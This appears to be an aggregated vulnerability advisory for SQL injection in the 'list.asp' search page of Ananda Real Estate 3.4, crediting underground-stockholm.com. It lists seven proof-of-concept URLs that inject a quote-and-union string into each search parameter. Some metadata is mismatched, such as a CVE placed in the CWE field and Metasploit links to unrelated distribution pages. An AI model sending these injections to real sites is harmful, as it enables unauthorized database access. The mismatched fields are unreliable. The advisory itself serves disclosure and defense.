Ananda Real Estate "list.asp" Multiple SQL Injection Vulnerabilities

vendor:

Ananda Real Estate

by:

underground-stockholm.com

8,8

CVSS

HIGH

Multiple SQL Injection Vulnerabilities

CWE

Product Name: Ananda Real Estate

Affected Version From: Ananda Real Estate 3.4

Affected Version To: Ananda Real Estate 3.4

Patch Exists: YES

Related CWE: CVE-2009-4010

CPE: a:softwebsnepal:ananda_real_estate:3.4

Metasploit: https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2009-4010/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2009-4010/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2009

Ananda Real Estate “list.asp” Multiple SQL Injection Vulnerabilities

Ananda Real Estate 3.4 is vulnerable to multiple SQL injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation of this vulnerability could allow an attacker to gain access to sensitive information from the database, modify data, or execute system level commands.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized before being used in an SQL query.

Source

Exploit-DB raw data:

TITLE: Ananda Real Estate "list.asp" Multiple SQL Injection Vulnerabilities
PRODUCT: Ananda Real Estate 3.4
PRODUCT URL: http://www.softwebsnepal.com/website_design_realestate.htm
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

BUGS:

http://[host]/[path]/list.asp?city=%27%29%29+union+insect&state=&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=%27%29%29+union+insect&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=%27%29%29+union+insect&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=%27%29%29+union+insect&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=%27%29%29+union+insect&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=%27%29%29+union+insect&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=&bath=%27%29%29+union+insect&Submit=Search+Now!